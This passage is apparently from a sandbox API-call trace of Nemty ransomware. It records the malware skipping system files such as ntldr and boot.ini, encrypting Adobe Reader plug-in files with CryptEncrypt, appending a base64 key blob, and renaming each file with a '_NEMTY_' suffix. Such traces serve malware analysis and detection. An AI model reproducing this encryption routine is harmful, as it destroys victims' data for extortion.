lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.EUQ", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.EUQ", lpUsedDefaultChar=0x0) returned 13 [0191.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.322] Sleep (dwMilliseconds=0x5) [0191.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25b08510, dwHighDateTime=0x1d561e8)) [0191.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25b08510, dwHighDateTime=0x1d561e8)) [0191.332] GetLastError () returned 0x0 [0191.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.332] GetLastError () returned 0x0 [0191.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.332] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.332] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.333] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.333] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="0MO2edxHwZekLp+7aBc2AKjPUn3RL0n5o/PbQtjVtip3Jezwl68Ifhl+xIvjkNR0\r\n9wt7OYuKhR+vs1a79ULpzr1c7K8IZbXH2nfaJpR5vKvS9U2aV4TUvedN+k8ooLHA\r\nyAHcnQ9xq3y94QCwkehf5B9ICqZxmRjsQz1OhMekU6bFl4aAzZkFtZ4F3YBw0UCF\r\nN1ziYv+JTYDoPrbt9LR5BT7sElzc2bPGW83r2WUdmt8u+lj5VhEBvH9zPgz6vkdP\r\noItexU5zGjbYG278d9nNqkh9scOZ0z596VXk1giM4FomzQnC8KMQn0DZvcTtm+kT\r\n+wuNS50VG+oiWKqMzS3Paw==\r\n", pcchString=0x653e29c) returned 1 [0191.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.333] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.333] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.333] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.335] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.335] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.335] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.335] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.335] CloseHandle (hObject=0x2f0) returned 1 [0191.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.336] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.euq._nemty_kgobjgd_")) returned 1 [0191.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.336] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.FRA", cAlternateFileName="QUICKT~1.FRA")) returned 1 [0191.336] lstrcmpiW (lpString1="QuickTime.FRA", lpString2=".") returned 1 [0191.336] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="..") returned 1 [0191.336] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="...") returned 1 [0191.336] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="windows") returned -1 [0191.336] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="$RECYCLE.BIN") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="rsa") returned -1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="NTDETECT.COM") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="ntldr") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="MSDOS.SYS") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="IO.SYS") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="boot.ini") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="boot.ini") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="ntuser.dat") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="desktop.ini") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="CONFIG.SYS") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="RECYCLER") returned -1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="BOOTSECT.BAK") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="bootmgr") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="programdata") returned 1 [0191.337] lstrcmpiW (lpString1="QuickTime.FRA", lpString2="appdata") returned 1 [0191.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.FRA", lpUsedDefaultChar=0x0) returned 13 [0191.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.FRA", lpUsedDefaultChar=0x0) returned 13 [0191.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.FRA", lpUsedDefaultChar=0x0) returned 13 [0191.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.FRA", lpUsedDefaultChar=0x0) returned 13 [0191.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.338] Sleep (dwMilliseconds=0x5) [0191.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25b2e670, dwHighDateTime=0x1d561e8)) [0191.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25b2e670, dwHighDateTime=0x1d561e8)) [0191.347] GetLastError () returned 0x0 [0191.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.347] GetLastError () returned 0x0 [0191.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.348] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.348] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="ABmNXQ+AB226Gr1bFzbhNx7JTEbRoT4OcbTsfmg5nPSI9T24b0Rg3IYgYnLa+p/x\r\nnRouhHWkd88RXCHVEdDIy6SsI2W9omXFIZIKB4eNMotI8caA7U8QTOLnBJoKERit\r\n2rTDTFgu0QKB1HozKRNj/rSHJsTy5OhSQodYbUVN9Z958LiI0Prir5qd7BmF8vXF\r\nL5updoPsu4HvljwTAK2LgP0DdXgPNA3wkf73cHAW1/LMKVCT64omar9Znr7iD+3U\r\nWo6qMTWVNw675sDh19Gy2vQtfsQDCMRtk1axJjvbccOl8rUWUKdFKCvdVPxJDRwv\r\nI6fBwofsPeMjZd45zPQkWg==\r\n", pcchString=0x653e29c) returned 1 [0191.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.348] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.349] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.349] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.350] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.350] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.350] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.350] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.351] CloseHandle (hObject=0x2f0) returned 1 [0191.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.351] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.fra._nemty_kgobjgd_")) returned 1 [0191.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.352] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.ITA", cAlternateFileName="QUICKT~1.ITA")) returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2=".") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="..") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="...") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="windows") returned -1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="$RECYCLE.BIN") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="rsa") returned -1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="NTDETECT.COM") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="ntldr") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="MSDOS.SYS") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="IO.SYS") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="boot.ini") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="boot.ini") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="ntuser.dat") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="desktop.ini") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="CONFIG.SYS") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="RECYCLER") returned -1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="BOOTSECT.BAK") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="bootmgr") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="programdata") returned 1 [0191.352] lstrcmpiW (lpString1="QuickTime.ITA", lpString2="appdata") returned 1 [0191.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ITA", lpUsedDefaultChar=0x0) returned 13 [0191.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ITA", lpUsedDefaultChar=0x0) returned 13 [0191.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.353] 